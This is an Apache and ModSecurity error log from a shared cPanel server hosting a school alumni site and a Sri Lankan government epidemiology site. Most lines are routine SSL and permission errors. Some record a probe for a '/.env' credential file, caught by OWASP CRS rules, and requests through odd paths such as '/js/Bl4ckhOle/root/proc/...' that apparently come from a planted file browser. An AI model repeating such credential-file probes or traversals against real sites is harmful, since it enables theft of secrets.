[Fri Jul 17 09:57:21.109915 2026] [core:error] [pid 2019501:tid 2019501] (13)Permission denied: [client 57.141.18.59:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/proc/thread-self/root/proc/thread-self/root/sys/bus/node/devices/node0/memory82/node0/memory39/subsystem/devices/memory48/subsystem/drivers_probe
[Fri Jul 17 09:57:21.150310 2026] [rewrite:error] [pid 2047046:tid 2047046] [client 144.76.19.75:0] AH10411: Rewritten query string contains control characters or spaces
[Fri Jul 17 09:57:23.859412 2026] [security2:error] [pid 2034024:tid 2034024] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almvK4-0g_VSPeIeFN3LtQAAAAs"], referer: http://www.anandaobauae.org/?62.210.79.219uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpg
[Fri Jul 17 09:57:23.859458 2026] [security2:error] [pid 2034024:tid 2034024] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almvK4-0g_VSPeIeFN3LtQAAAAs"], referer: http://www.anandaobauae.org/?62.210.79.219uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpg
[Fri Jul 17 09:57:24.476346 2026] [ssl:error] [pid 2018741:tid 2018741] (70014)End of file found: [client 66.85.158.91:49314] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:57:26.010118 2026] [ssl:error] [pid 2050581:tid 2050581] (70014)End of file found: [client 66.85.158.91:49378] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:57:26.010316 2026] [security2:error] [pid 2050581:tid 2050581] [client 57.141.18.108:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/sys/bus/memory/devices/memory82/node0/memory111/node0/memory88/subsystem/devices/memory68/phys_index"] [unique_id "almvLszGNCrIh2ysmniQ5wAAABY"]
[Fri Jul 17 09:57:26.010343 2026] [security2:error] [pid 2050581:tid 2050581] [client 57.141.18.108:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/sys/bus/memory/devices/memory82/node0/memory111/node0/memory88/subsystem/devices/memory68/phys_index"] [unique_id "almvLszGNCrIh2ysmniQ5wAAABY"]
[Fri Jul 17 09:57:27.547202 2026] [ssl:error] [pid 2028246:tid 2028246] (70014)End of file found: [client 66.85.158.91:49438] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:57:27.553679 2026] [ssl:error] [pid 2032156:tid 2032156] (70014)End of file found: [client 66.85.158.91:49452] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:57:27.553740 2026] [ssl:error] [pid 2030804:tid 2030804] (70014)End of file found: [client 66.85.158.91:49442] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:57:27.556922 2026] [ssl:error] [pid 2018768:tid 2018768] (70014)End of file found: [client 66.85.158.91:49448] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:57:27.706544 2026] [ssl:error] [pid 2050576:tid 2050576] (70014)End of file found: [client 66.85.158.91:49494] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:57:27.808098 2026] [ssl:error] [pid 2060582:tid 2060582] (70014)End of file found: [client 66.85.158.91:49504] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:57:27.959151 2026] [ssl:error] [pid 2029579:tid 2029579] (70014)End of file found: [client 66.85.158.91:49526] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:57:28.078166 2026] [ssl:error] [pid 2019501:tid 2019501] (70014)End of file found: [client 66.85.158.91:49540] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:57:28.213595 2026] [ssl:error] [pid 2034024:tid 2034024] (70014)End of file found: [client 66.85.158.91:49548] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:57:28.382445 2026] [ssl:error] [pid 2060590:tid 2060590] (70014)End of file found: [client 66.85.158.91:49562] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:57:28.606077 2026] [ssl:error] [pid 2063433:tid 2063433] (70014)End of file found: [client 66.85.158.91:49566] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:57:30.901091 2026] [ssl:error] [pid 2063443:tid 2063443] (70014)End of file found: [client 66.85.158.91:49678] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:57:32.667739 2026] [ssl:error] [pid 2047046:tid 2047046] (70014)End of file found: [client 66.85.158.91:37834] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:57:32.765454 2026] [ssl:error] [pid 2050581:tid 2050581] (70014)End of file found: [client 66.85.158.91:37848] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:57:32.944336 2026] [security2:error] [pid 2032156:tid 2032156] [client 124.43.181.76:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-global": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "almvNK14q1EBnanVMYGvUAAAAAk"]
[Fri Jul 17 09:57:32.944369 2026] [security2:error] [pid 2032156:tid 2032156] [client 124.43.181.76:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-ip": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "almvNK14q1EBnanVMYGvUAAAAAk"]
[Fri Jul 17 09:57:35.350664 2026] [ssl:error] [pid 2028246:tid 2028246] (70014)End of file found: [client 66.85.158.91:38004] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:57:35.720867 2026] [ssl:error] [pid 2018768:tid 2018768] (70014)End of file found: [client 66.85.158.91:38040] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:57:37.016710 2026] [security2:error] [pid 2050572:tid 2050572] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almvOWuF39UwWB2KWdbUwQAAAA8"], referer: http://www.anandaobauae.org/?62.210.79.219uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpg
[Fri Jul 17 09:57:37.016763 2026] [security2:error] [pid 2050572:tid 2050572] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almvOWuF39UwWB2KWdbUwQAAAA8"], referer: http://www.anandaobauae.org/?62.210.79.219uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpg
[Fri Jul 17 09:57:40.690531 2026] [ssl:error] [pid 2063442:tid 2063442] (70014)End of file found: [client 66.85.158.91:38210] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:57:42.029132 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:57:42.040452 2026] [mime:warn] [pid 2060576:tid 2060576] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:57:42.042348 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:57:42.332915 2026] [mime:warn] [pid 2050576:tid 2050576] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:57:42.481509 2026] [mime:warn] [pid 2063436:tid 2063436] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:57:42.483755 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:57:42.644632 2026] [mime:warn] [pid 2060582:tid 2060582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:57:42.650490 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:57:42.729072 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:57:42.988990 2026] [ssl:error] [pid 2028246:tid 2028246] (70014)End of file found: [client 66.85.158.91:38972] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:57:43.066024 2026] [mime:warn] [pid 2060576:tid 2060576] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:57:43.086461 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:57:43.703382 2026] [ssl:error] [pid 2018768:tid 2018768] (70014)End of file found: [client 66.85.158.91:38992] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:57:44.075213 2026] [ssl:error] [pid 2029579:tid 2029579] (70014)End of file found: [client 66.85.158.91:39000] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:57:44.557015 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:57:44.559859 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:57:44.595675 2026] [mime:warn] [pid 2063435:tid 2063435] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:57:44.619374 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:57:44.927964 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:57:44.935030 2026] [mime:warn] [pid 2063463:tid 2063463] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:57:45.117208 2026] [mime:warn] [pid 2063441:tid 2063441] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:57:45.463404 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:57:45.636215 2026] [ssl:error] [pid 1993572:tid 1993572] (70014)End of file found: [client 66.85.158.91:39054] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:57:45.638281 2026] [ssl:error] [pid 2013830:tid 2013830] (70014)End of file found: [client 66.85.158.91:39096] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:57:45.639062 2026] [ssl:error] [pid 2039911:tid 2039911] (70014)End of file found: [client 66.85.158.91:39080] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:57:45.640619 2026] [ssl:error] [pid 2063463:tid 2063463] (70014)End of file found: [client 66.85.158.91:39100] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:57:45.641212 2026] [ssl:error] [pid 1993671:tid 1993671] (70014)End of file found: [client 66.85.158.91:39050] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:57:46.052410 2026] [ssl:error] [pid 2032156:tid 2032156] (70014)End of file found: [client 66.85.158.91:39132] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:57:46.166132 2026] [ssl:error] [pid 2063442:tid 2063442] (70014)End of file found: [client 66.85.158.91:39136] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:57:46.263854 2026] [ssl:error] [pid 2060576:tid 2060576] (70014)End of file found: [client 66.85.158.91:39150] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:57:46.360798 2026] [ssl:error] [pid 2063443:tid 2063443] (70014)End of file found: [client 66.85.158.91:39156] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:57:46.470215 2026] [ssl:error] [pid 2030955:tid 2030955] (70014)End of file found: [client 66.85.158.91:39158] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:57:46.810836 2026] [security2:error] [pid 2063435:tid 2063435] [client 57.141.18.95:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/sys/devices/system/memory/memory100/subsystem/devices/memory10/subsystem/devices/memory114/node0/memory6/node0/memory7/"] [unique_id "almvQukiDF76vVF_WKRnSQAAAAg"]
[Fri Jul 17 09:57:46.810895 2026] [security2:error] [pid 2063435:tid 2063435] [client 57.141.18.95:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/sys/devices/system/memory/memory100/subsystem/devices/memory10/subsystem/devices/memory114/node0/memory6/node0/memory7/"] [unique_id "almvQukiDF76vVF_WKRnSQAAAAg"]
[Fri Jul 17 09:57:47.188414 2026] [mime:warn] [pid 2060582:tid 2060582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:57:47.850228 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:57:47.869076 2026] [mime:warn] [pid 2050576:tid 2050576] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:57:48.000725 2026] [mime:warn] [pid 2063436:tid 2063436] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:57:48.249781 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:57:48.252510 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:57:48.278042 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:57:48.283396 2026] [mime:warn] [pid 2050576:tid 2050576] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:57:48.291001 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:57:48.351768 2026] [mime:warn] [pid 2063436:tid 2063436] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:57:48.371281 2026] [mime:warn] [pid 2060582:tid 2060582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:57:48.381442 2026] [security2:error] [pid 2063435:tid 2063435] [client 47.82.54.209:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/13:64/subsystem/mouse2/subsystem/input1/input1::capslock/trigger"] [unique_id "almvROkiDF76vVF_WKRnTAAAAAg"]
[Fri Jul 17 09:57:48.381490 2026] [security2:error] [pid 2063435:tid 2063435] [client 47.82.54.209:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/13:64/subsystem/mouse2/subsystem/input1/input1::capslock/trigger"] [unique_id "almvROkiDF76vVF_WKRnTAAAAAg"]
[Fri Jul 17 09:57:48.474804 2026] [mime:warn] [pid 2063444:tid 2063444] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:57:48.819926 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:57:48.953119 2026] [security2:error] [pid 2060582:tid 2060582] [client 47.128.48.153:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/public_html/uploads/img/news/m-iraq/root/opt/cloudlinux/venv/lib64/python3.11/site-packages/pylint_celery-0.3.dist-info/REQUESTED"] [unique_id "almvRAL3hs-7m5L6th_yVgAAAAM"]
[Fri Jul 17 09:57:48.953182 2026] [security2:error] [pid 2060582:tid 2060582] [client 47.128.48.153:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/public_html/uploads/img/news/m-iraq/root/opt/cloudlinux/venv/lib64/python3.11/site-packages/pylint_celery-0.3.dist-info/REQUESTED"] [unique_id "almvRAL3hs-7m5L6th_yVgAAAAM"]
[Fri Jul 17 09:57:48.974365 2026] [mime:warn] [pid 2063444:tid 2063444] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:57:49.178488 2026] [security2:error] [pid 2060590:tid 2060590] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almvRXv42nOn2tp5Eua1LQAAABA"], referer: http://anandaobauae.org/?C=M;O=Duploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpg
[Fri Jul 17 09:57:49.178520 2026] [security2:error] [pid 2060590:tid 2060590] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almvRXv42nOn2tp5Eua1LQAAABA"], referer: http://anandaobauae.org/?C=M;O=Duploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpg
[Fri Jul 17 09:57:49.441868 2026] [ssl:error] [pid 2047046:tid 2047046] (70014)End of file found: [client 66.85.158.91:39280] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:57:55.599789 2026] [security2:error] [pid 2018768:tid 2018768] [client 107.170.53.181:0] ModSecurity: Warning. Pattern match "^[\\\\d.:]+$" at REQUEST_HEADERS:Host. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "735"] [id "920350"] [msg "Host header is a numeric IP address"] [data "66.85.158.91"] [severity "WARNING"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "66.85.158.91"] [uri "/.env"] [unique_id "almvS1CBpfuYyhJ140veSAAAAB4"]
[Fri Jul 17 09:57:55.599898 2026] [security2:error] [pid 2018768:tid 2018768] [client 107.170.53.181:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "66.85.158.91"] [uri "/.env"] [unique_id "almvS1CBpfuYyhJ140veSAAAAB4"]
[Fri Jul 17 09:57:55.599997 2026] [security2:error] [pid 2018768:tid 2018768] [client 107.170.53.181:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "66.85.158.91"] [uri "/.env"] [unique_id "almvS1CBpfuYyhJ140veSAAAAB4"]
[Fri Jul 17 09:57:55.600237 2026] [security2:error] [pid 2018768:tid 2018768] [client 107.170.53.181:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 13)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "66.85.158.91"] [uri "/.env"] [unique_id "almvS1CBpfuYyhJ140veSAAAAB4"]
[Fri Jul 17 09:57:55.600487 2026] [security2:error] [pid 2018768:tid 2018768] [client 107.170.53.181:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 13 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 13, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "66.85.158.91"] [uri "/.env"] [unique_id "almvS1CBpfuYyhJ140veSAAAAB4"]
[Fri Jul 17 09:58:09.071543 2026] [security2:error] [pid 2063463:tid 2063463] [client 74.7.242.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-global": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "almvWP72foAPmCnen3SqNgAAABs"], referer: https://www.epid.gov.lk/situation-report?filter=2021&page_104=1178&page_105=1818
[Fri Jul 17 09:58:09.071592 2026] [security2:error] [pid 2063463:tid 2063463] [client 74.7.242.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-ip": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "almvWP72foAPmCnen3SqNgAAABs"], referer: https://www.epid.gov.lk/situation-report?filter=2021&page_104=1178&page_105=1818
[Fri Jul 17 09:58:21.024118 2026] [ssl:error] [pid 2029579:tid 2029579] (70014)End of file found: [client 66.85.158.91:36828] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:58:21.081653 2026] [ssl:error] [pid 2013797:tid 2013797] (70014)End of file found: [client 66.85.158.91:36862] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:58:21.180822 2026] [ssl:error] [pid 2063433:tid 2063433] (70014)End of file found: [client 66.85.158.91:36872] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:58:21.380281 2026] [ssl:error] [pid 2063443:tid 2063443] (70014)End of file found: [client 66.85.158.91:45000] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:58:21.597489 2026] [ssl:error] [pid 2063463:tid 2063463] (70014)End of file found: [client 66.85.158.91:45038] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:58:21.694428 2026] [ssl:error] [pid 2030804:tid 2030804] (70014)End of file found: [client 66.85.158.91:45066] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:58:22.000304 2026] [ssl:error] [pid 2060590:tid 2060590] (70014)End of file found: [client 66.85.158.91:45086] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:58:22.108333 2026] [ssl:error] [pid 2030955:tid 2030955] (70014)End of file found: [client 66.85.158.91:45100] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:58:22.210760 2026] [ssl:error] [pid 2018768:tid 2018768] (70014)End of file found: [client 66.85.158.91:45104] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:58:24.292000 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:58:24.713375 2026] [ssl:error] [pid 2032156:tid 2032156] (70014)End of file found: [client 66.85.158.91:45218] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:58:25.344165 2026] [ssl:error] [pid 2060582:tid 2060582] (70014)End of file found: [client 66.85.158.91:45254] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:58:29.127369 2026] [ssl:error] [pid 2047046:tid 2047046] (70014)End of file found: [client 66.85.158.91:45470] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:58:30.347168 2026] [ssl:error] [pid 1993671:tid 1993671] (70014)End of file found: [client 66.85.158.91:45900] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:58:32.015164 2026] [ssl:error] [pid 2063443:tid 2063443] (70014)End of file found: [client 66.85.158.91:54136] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:58:32.347908 2026] [ssl:error] [pid 2063436:tid 2063436] (70014)End of file found: [client 66.85.158.91:54178] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:58:32.407580 2026] [ssl:error] [pid 2063435:tid 2063435] (70014)End of file found: [client 66.85.158.91:54184] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:58:32.608487 2026] [ssl:error] [pid 2034024:tid 2034024] (70014)End of file found: [client 66.85.158.91:54212] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:58:32.666509 2026] [ssl:error] [pid 2060582:tid 2060582] (70014)End of file found: [client 66.85.158.91:54232] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:58:32.719210 2026] [ssl:error] [pid 1993572:tid 1993572] (70014)End of file found: [client 66.85.158.91:54262] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:58:32.959161 2026] [ssl:error] [pid 2063441:tid 2063441] (70014)End of file found: [client 66.85.158.91:54286] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:58:33.013661 2026] [ssl:error] [pid 2029579:tid 2029579] (70014)End of file found: [client 66.85.158.91:54310] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:58:33.111652 2026] [ssl:error] [pid 2030804:tid 2030804] (70014)End of file found: [client 66.85.158.91:54320] AH02013: coalesce failed to read from data bucket
